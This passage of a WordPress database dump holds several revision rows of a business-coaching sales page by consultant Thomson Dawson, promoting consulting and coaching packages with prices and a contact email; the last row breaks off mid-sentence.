(1710, 2, '2011-07-03 12:04:34', '2011-07-03 19:04:34', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.\r\n</span></h2>\r\nI consult with early stage entrepreneurs, solo professionals and start-up businesses to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income.\r\n\r\nMy passion is to help you see a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement. Our work together will focus on ideas, strategy and tactics to master the inner game (creative plane), and outer game (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life experience based solely on what truly matters to you, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing, communication and  business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n\r\n<span style="color: #808080;"> </span><strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong><span style="color: #808080;"><span style="color: #000000;"> </span></span>For over 25 years, I''ve worked with senior executives in diverse global companies and owners of small start-ups alike. My expertise in marketing, brand strategy and communications has contributed to their capabilities, improving their marketing effectiveness, and helping them to make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace. I tailor my diverse experience and expertise to help forward thinking early-stage entrepreneurs discover and pursue, with clarity and confidence, a bigger vision of their  future. I offer two business business consulting packages:\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nThis issue-based consulting program is designed for early stage entrepreneurs, solo professionals and start-up businesses who are facing business development and marketing challenges that require an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, I provide insight, strategic and creative guidance to help you and your team overcome whatever barriers may be holding back your progress toward achieving your stated business goals.\r\n<h2>Here''s what we''ll make happen together:</h2>\r\n<strong>We’ll create a detailed business development plan designed around your strengths and unique talents that will foster sustained competitive advantage for your business. </strong>\r\n\r\n<strong> We''ll develop a highly differentiated positioning and value proposition that matters to high-value customers and elevates their perception of your value to them. </strong>\r\n\r\n<strong>To leverage your enhanced positioning, we''ll create specific recommendations and strategic imperatives to improve the effectiveness for building the influence and impact of your brand. These recommendations will guide your marketing and business development communications at every touch point of interaction with your clients and customers.\r\n</strong>\r\n\r\n<strong>As a result of our work together, you''ll experience notably more clarity and confidence to pursue your best opportunities to serve the higher value clients that represent your bigger future.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+USD\r\nThe duration of this issue-based consulting engagement is generally within a 4-6 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly\r\n</strong></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>&nbsp;\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-07-03 12:04:34', '2011-07-03 19:04:34', '', 138, 'http://www.whitehotcenter.com/uncategorized/138-revision-139/', 0, 'revision', '', 0),
(1711, 2, '2011-07-03 12:16:18', '2011-07-03 19:16:18', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.\r\n</span></h2>\r\nI consult with early stage entrepreneurs, solo professionals and start-up businesses to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income.\r\n\r\nMy passion is to help you see a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement. Our work together will focus on ideas, strategy and tactics to master the inner game (creative plane), and outer game (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life experience based solely on what truly matters to you, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing, communication and  business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n\r\n<span style="color: #808080;"> </span><strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong><span style="color: #808080;"><span style="color: #000000;"> </span></span>For over 25 years, I''ve worked with senior executives in diverse global companies and owners of small start-ups alike. My expertise in marketing, brand strategy and communications has contributed to their capabilities, improving their marketing effectiveness, and helping them to make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace. I tailor my diverse experience and expertise to help forward thinking early-stage entrepreneurs discover and pursue, with clarity and confidence, a bigger vision of their  future. I offer two business business consulting packages:\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nThis issue-based consulting program is designed for early stage entrepreneurs, solo professionals and start-up businesses who are facing business development and marketing challenges that require an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, I provide insight, strategic and creative guidance to help you and your team overcome the business development challenges may be holding back your progress toward achieving your stated business goals.\r\n<h2>Here''s what we''ll make happen together:</h2>\r\n<strong>We’ll create a detailed business development plan designed around your strengths and unique talents that will foster sustained competitive advantage for your business. </strong>\r\n\r\n<strong> We''ll develop a highly differentiated positioning and value proposition that matters to high-value customers and elevates their perception of your value to them. </strong>\r\n\r\n<strong>To leverage your enhanced positioning, we''ll create specific recommendations and strategic imperatives to improve the effectiveness for building the influence and impact of your brand. These recommendations will guide your marketing and business development activities at every touch point of interaction with your clients and customers.\r\n</strong>\r\n\r\n<strong>As a result of our work together, you''ll experience notably more clarity and confidence to pursue your best opportunities to serve the higher value clients that represent your bigger future.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+USD\r\nThe duration of this issue-based consulting engagement is generally within a 4-6 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly\r\n</strong></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>&nbsp;\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-07-03 12:16:18', '2011-07-03 19:16:18', '', 138, 'http://www.whitehotcenter.com/uncategorized/138-revision-140/', 0, 'revision', '', 0),
(1712, 2, '2011-07-03 12:58:20', '2011-07-03 19:58:20', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.\r\n</span></h2>\r\nI consult with early stage entrepreneurs, solo professionals and start-up businesses to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income.\r\n\r\nMy passion is to help you see a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement. Our work together will focus on ideas, strategy and tactics to master the inner game (creative plane), and outer game (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life experience based solely on what truly matters to you, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing, communication and  business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n\r\n<span style="color: #808080;"> </span><strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong><span style="color: #808080;"><span style="color: #000000;"> </span></span>For over 25 years, I''ve worked with senior executives in diverse global companies and owners of small start-ups alike. My expertise in marketing, brand strategy and communications has contributed to their capabilities, improving their marketing effectiveness, and helping them to make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace. I tailor my diverse experience and expertise to help forward thinking early-stage entrepreneurs discover and pursue, with clarity and confidence, a bigger vision of their  future. I offer two business business consulting packages:\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nThis issue-based consulting program is designed for early stage entrepreneurs, solo professionals and start-up businesses who are facing business development and marketing challenges that require an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, I provide insight, strategic and creative guidance to help you and your team overcome the business development challenges may be holding back your progress toward achieving your stated business goals.\r\n<h2>Here''s what we''ll make happen together:</h2>\r\n<strong>We’ll create a detailed business development plan designed around your strengths and unique talents that will foster sustained competitive advantage for your business. </strong>\r\n\r\n<strong> We''ll develop a highly differentiated positioning and value proposition that matters to high-value customers and elevates their perception of your value to them. </strong>\r\n\r\n<strong>To leverage your enhanced positioning, we''ll create specific recommendations and strategic imperatives to improve the effectiveness for building the influence and impact of your brand. These recommendations will form the foundation and guide your marketing and business development activities at every touch point of interaction with your clients and customers.\r\n</strong>\r\n\r\n<strong>As a result of our work together, you''ll experience notably more clarity and confidence to pursue your best opportunities to serve the higher value clients that represent your bigger future.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+USD\r\nThe duration of this issue-based consulting engagement is generally within a 4-6 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly\r\n</strong></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>&nbsp;\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-07-03 12:58:20', '2011-07-03 19:58:20', '', 138, 'http://www.whitehotcenter.com/uncategorized/138-revision-141/', 0, 'revision', '', 0);
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(1713, 2, '2011-07-03 16:04:35', '2011-07-03 23:04:35', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.\r\n</span></h2>\r\n<strong>In one-on-one and in group settings, Thomson Dawson works with early stage entrepreneurs, solo professionals and start-up businesses to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income.</strong>\r\n\r\nThomson''s business development expertise will help you and your team focus on ideas, strategy and tactics to master the inner game (creative plane), and outer game (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life experience based solely on what truly matters to you, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing, communication and  business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n\r\n<span style="color: #808080;"> </span><strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong><span style="color: #808080;"><span style="color: #000000;"> </span></span>For over 25 years, Thomson has worked with senior executives in diverse global companies, emerging companies, and owners of small start-ups alike. His insight and creativity in brand innovation, marketing, brand strategy and communications has contributed millions of dollars in revenue growth to over 70 organizations in North America and Europe. Thomson diverse experience and expertise helpsforward thinking early-stage entrepreneurs discover and pursue, with clarity and confidence, a bigger vision of their  future. Two business development consulting packages are available through the White Hot Center:\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nThis issue-based consulting program is designed for early stage entrepreneurs, solo professionals and start-up businesses who are facing business development and marketing challenges that require an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, Thomson provides insight, strategic and creative guidance to help you and your team overcome current business development challenges that may be holding back your progress toward achieving your stated business goals.\r\n<h2>Here''s what will happen:</h2>\r\n<strong>You''ll have a detailed business development plan designed around your strengths and unique talents that will foster sustained competitive advantage for your business. </strong>\r\n\r\n<strong> You''ll develop a highly differentiated positioning and value proposition that matters to the right high-value customers and elevates their perception of your value to them. </strong>\r\n\r\n<strong>To leverage your enhanced positioning, you''ll have specific recommendations and strategic imperatives to improve your effectiveness in building the influence and impact of your brand. These recommendations will form the foundation and guide your future product innovations, marketing and business development activities at every touch point of interaction with your clients and customers.\r\n</strong>\r\n\r\n<strong>As a result, you and your team will experience notably more clarity and confidence to pursue your best opportunities to serve the higher value clients that represent your bigger future.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+USD\r\nThe duration of this issue-based consulting engagement is generally within a 4-6 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly\r\n</strong></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>&nbsp;\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-07-03 16:04:35', '2011-07-03 23:04:35', '', 138, 'http://www.whitehotcenter.com/uncategorized/138-revision-142/', 0, 'revision', '', 0),
(1715, 2, '2011-07-03 16:16:37', '2011-07-03 23:16:37', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.\r\n</span></h2>\r\n<strong>In one-on-one and in group settings, Thomson Dawson works with early stage entrepreneurs, solo professionals and start-up businesses to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income.</strong>\r\n\r\nThomson''s business development expertise will help you and your team focus on ideas, strategy and tactics to master the inner game (creative plane), and outer game (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life experience based solely on what truly matters to you, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through marketing, communication and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n\r\n<span style="color: #808080;"> </span><strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong><span style="color: #808080;"><span style="color: #000000;"> </span></span>For over 25 years, Thomson has worked with senior executives in diverse global companies, emerging companies, and owners of small start-ups alike. His insight and creativity in brand innovation, marketing, brand strategy and communications has contributed millions of dollars in revenue growth to over 70 organizations in North America and Europe.\r\n\r\nThomson''s diverse experience and expertise helps forward thinking early-stage entrepreneurs discover and pursue, with clarity and confidence, a bigger vision of their  future. Two business development consulting packages are available through the White Hot Center:\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nThis issue-based consulting program is designed for early stage entrepreneurs, solo professionals and start-up businesses who are facing business development and marketing challenges that require an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, Thomson provides insight, strategic and creative guidance to help you and your team overcome current business development challenges that may be holding back your progress toward achieving your stated business goals.\r\n<h2>Here''s what will happen:</h2>\r\n<strong>You''ll have a detailed business development plan designed around your strengths and unique talents that will foster sustained competitive advantage for your business. </strong>\r\n\r\n<strong> You''ll develop a highly differentiated positioning and value proposition that matters to the right high-value customers and elevates their perception of your value to them. </strong>\r\n\r\n<strong>To leverage your enhanced positioning, you''ll have specific recommendations and strategic imperatives to improve your effectiveness in building the influence and impact of your brand. These recommendations will form the foundation and guide your future product innovations, marketing and business development activities at every touch point of interaction with your clients and customers.\r\n</strong>\r\n\r\n<strong>As a result, you and your team will experience notably more clarity and confidence to pursue your best opportunities to serve the higher value clients that represent your bigger future.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+USD\r\nThe duration of this issue-based consulting engagement is generally within a 4-6 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly\r\n</strong></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>&nbsp;\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. From there, we can arrange a brief telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-07-03 16:16:37', '2011-07-03 23:16:37', '', 138, 'http://www.whitehotcenter.com/uncategorized/138-revision-144/', 0, 'revision', '', 0),
(1714, 2, '2011-07-03 16:08:02', '2011-07-03 23:08:02', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.\r\n</span></h2>\r\n<strong>In one-on-one and in group settings, Thomson Dawson works with early stage entrepreneurs, solo professionals and start-up businesses to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income.</strong>\r\n\r\nThomson''s business development expertise will help you and your team focus on ideas, strategy and tactics to master the inner game (creative plane), and outer game (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life experience based solely on what truly matters to you, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand 